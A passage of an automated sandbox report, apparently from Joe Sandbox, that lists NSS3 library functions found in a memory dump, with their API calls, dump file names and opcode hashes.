Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C9FED02

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C9FED5A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 84dc95bf09914951fbc728fd2088542cc5bac4bea8005b338bc41eb834973b0c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4121A4B1A017429BE700CF25D944B62B7E5BFA434CF25C215E82C87A62EB70E595C7E0

Function 6C9CC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C9CC890

Part of subcall function 6C9C8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
Part of subcall function 6C9C8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

PR_GetCurrentThread.NSS3 ref: 6C9CC8B2

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C9CC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CC8EB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 9303bac8313d880e7917acd9114fcbf019337209450f9fe4049f376e8ec45649
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: A001C866F012116BE7002AB9ACC0ABF3E6D9F6529CF040179FD04A6B01F761C85893E3

Function 6C9F4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C9DC79F,?,?,6C9F5C4A,?), ref: 6C9F4950

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

TlsGetValue.KERNEL32(?,?,?), ref: 6C9F496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F4989

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 468ae81807226521732526ba99e6acef4e1a61e4b579de2537796d3d0e7f3006
Instruction ID: c1f1446ced2aaf77c1d2ef6182dea4c469195224f8d436b8664c167c08a91724
Opcode Fuzzy Hash: 468ae81807226521732526ba99e6acef4e1a61e4b579de2537796d3d0e7f3006
Instruction Fuzzy Hash: 6B115BB5B002019BEF005F29DD0191A73BCFF2672CF144039EA2987F11E721E89A8B96

Function 6CA2EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EE14

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

memcpy.VCRUNTIME140(?,?,6CA19767,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EE33

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 7d7d70945653d665aca5a5af5b76d8772729da2c886a2b82717e8e310f9a1b0d
Instruction ID: 3235237cdd59d1d7a41dcb737ecbfc80b92dddb2b6873a93195918c6dc44c209
Opcode Fuzzy Hash: 7d7d70945653d665aca5a5af5b76d8772729da2c886a2b82717e8e310f9a1b0d
Instruction Fuzzy Hash: D01173B1A00726BBEB109E75DC84B46B3A8EB0435EF2C4535E919D6A40E339F4E487E1

Function 6C9ADFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

CERT_NewCertList.NSS3 ref: 6C9ADFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C9ADFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C9ADFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9AE029

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 85e6a27001dddb66a88c72c3f880dc6a96626894476d6b212bba29216d446785
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 2C114871A08226EBDB111EEA5C04BAB76ACAB9135CF040534E918D7B00E772C83792E1

Function 6CA108D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA109B3,0000001A,?), ref: 6CA108E9

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CA108FD

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CA10939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA10953

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: e1a2a1716566124df562268253f87b81d72c2fbd9e75564628479e7c07c7991c
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 4A0126B960974A2BFB049AB59C20B67379CAF5021CF044039EC1AC6F01FB31E4A8CB94

Function 6C9F49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

PR_SetError.NSS3 ref: 6C9F4A10
TlsGetValue.KERNEL32(6C9E781D,?,6C9DBD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9F4A24
EnterCriticalSection.KERNEL32(?,?,?,6C9DBD28,00CD52E8), ref: 6C9F4A39
PR_Unlock.NSS3(?,?,?,?,6C9DBD28,00CD52E8), ref: 6C9F4A4E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: a3d29f7e02b85b5be54ec8bc9a19af621d51387dfd2abffc2269f9ac2ffb4876
Instruction ID: cce3ce4e415b24af9a34d69883a04695b10e4d8c5f1d48876f9855a17e749d4c
Opcode Fuzzy Hash: a3d29f7e02b85b5be54ec8bc9a19af621d51387dfd2abffc2269f9ac2ffb4876
Instruction Fuzzy Hash: C8216A74B047008FDB00AF79C58446AB7F8BF55718B05496DD8A98BB01E730E88ACF96

Function 6C9C8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C8DE7
EnterCriticalSection.KERNEL32 ref: 6C9C8DFC
PR_Unlock.NSS3 ref: 6C9C8E2D
PR_SetError.NSS3 ref: 6C9C8E49

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c45e7b59975bd05862430c8c05f143e98f207aff0055d42df64677689ed5a28c
Instruction ID: 0e27c04be1f366ecb9540852f166e46ff2c82a1f2a6034609ce7c328f6358764
Opcode Fuzzy Hash: c45e7b59975bd05862430c8c05f143e98f207aff0055d42df64677689ed5a28c
Instruction Fuzzy Hash: 43118C75A05A019BD704BF78D5882AABBF4FF05718F058929DC8897B00EB30E895CBD2

Function 6CA698D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E

Part of subcall function 6C921630: TlsGetValue.KERNEL32(00000000,?,6C990936,00000000,?,6C92204A), ref: 6C921659

free.MOZGLUE(00000000), ref: 6CA6995E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: e52fb084151b94f82dd42f577a18976a77340ab609c32019becd52781886afc9
Instruction ID: e868c5006a645d945693c15b042e2f606932648891a71b50b90cd42673000699
Opcode Fuzzy Hash: e52fb084151b94f82dd42f577a18976a77340ab609c32019becd52781886afc9
Instruction Fuzzy Hash: D101C4727407029FD720AFBA9D0975B7AF8AB16B09F04442DE05AD2E40DB70D145CB91

Function 6CA4AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CA35F17,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CA35F17,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACDB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: f36c0f1ee9239683f3f1ea8c60cc3a1c0150124e053c22b7d5ad97b3b8bf038c
Instruction ID: 1dc081f7677be2aafe4eafd9f45945ee8bc46a962fc12493745558d5851b80c5
Opcode Fuzzy Hash: f36c0f1ee9239683f3f1ea8c60cc3a1c0150124e053c22b7d5ad97b3b8bf038c
Instruction Fuzzy Hash: 390192B1601B069BD7A0EF6AE904743B7E8BF10659B048839D85AC3E10E735F455CBD0

Function 6C9B1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C9B1DFB

Part of subcall function 6C9A95B0: TlsGetValue.KERNEL32(00000000,?,6C9C00D2,00000000), ref: 6C9A95D2
Part of subcall function 6C9A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C9C00D2,00000000), ref: 6C9A95E7
Part of subcall function 6C9A95B0: PR_Unlock.NSS3(?,?,?,?,6C9C00D2,00000000), ref: 6C9A9605

PR_EnterMonitor.NSS3 ref: 6C9B1E09

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6C9AE190: PR_EnterMonitor.NSS3(?,?,6C9AE175), ref: 6C9AE19C
Part of subcall function 6C9AE190: PR_EnterMonitor.NSS3(6C9AE175), ref: 6C9AE1AA
Part of subcall function 6C9AE190: PR_ExitMonitor.NSS3 ref: 6C9AE208
Part of subcall function 6C9AE190: PL_HashTableRemove.NSS3(?), ref: 6C9AE219
Part of subcall function 6C9AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9AE231
Part of subcall function 6C9AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9AE249
Part of subcall function 6C9AE190: PR_ExitMonitor.NSS3 ref: 6C9AE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B1E37
PR_ExitMonitor.NSS3 ref: 6C9B1E4A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: afdf6f22d938bbd3112c9a1eda182edc1c5b1fe2d94b0c3de22bc3d4a4da1a40
Instruction ID: a3634970d782b3a418c83febc04668cd49df905a40dcc2fadc93c945c6b5d506
Opcode Fuzzy Hash: afdf6f22d938bbd3112c9a1eda182edc1c5b1fe2d94b0c3de22bc3d4a4da1a40
Instruction Fuzzy Hash: 69018F71B00150A7EB005B69FC44F4777A8AB62B48F214035F919A7B91E771E828CBD1

Function 6C9B1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9B1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C9B1D9C
free.MOZGLUE(00000000), ref: 6C9B1DB8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 5ab6e7033a5de0cf3a87fa4277d1d044324adbd7a7ca5fd784b469c371fa14c9
Instruction ID: 97fac53cbc4fb92cf071c903b8e916176bba794b42f25ee1f98df65839708b81
Opcode Fuzzy Hash: 5ab6e7033a5de0cf3a87fa4277d1d044324adbd7a7ca5fd784b469c371fa14c9
Instruction Fuzzy Hash: 9AF0F9B260131067FB101E596C41B4736589BC2B9CF100636DD1D6BB40D671E44482E1

Function 6C9F88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CA008AA,?), ref: 6C9F88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CA008AA,?), ref: 6C9F890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CA008AA,?), ref: 6C9F8936
PR_Unlock.NSS3(?,?,?,?,?,6CA008AA,?), ref: 6C9F8940

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

